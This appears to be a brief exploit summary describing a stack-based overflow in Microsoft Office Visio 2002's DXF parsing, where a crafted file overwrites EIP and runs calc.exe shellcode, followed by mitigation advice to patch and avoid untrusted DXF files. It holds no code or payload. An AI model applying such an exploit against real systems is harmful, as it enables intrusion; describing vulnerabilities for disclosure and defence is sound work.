Microsoft Office Visio DXF File Stack based Overflow

This exploit takes advantage of a stack-based overflow vulnerability in Microsoft Office Visio 2002 (xp) when parsing DXF files. By specially crafting a DXF file, an attacker can overwrite the EIP register and control the execution flow of the program. This exploit includes a modified alphanumeric shellcode that executes the calc.exe program.

Mitigation:

Apply the necessary patches or update to a newer version of Microsoft Office Visio. Do not open DXF files from untrusted sources.
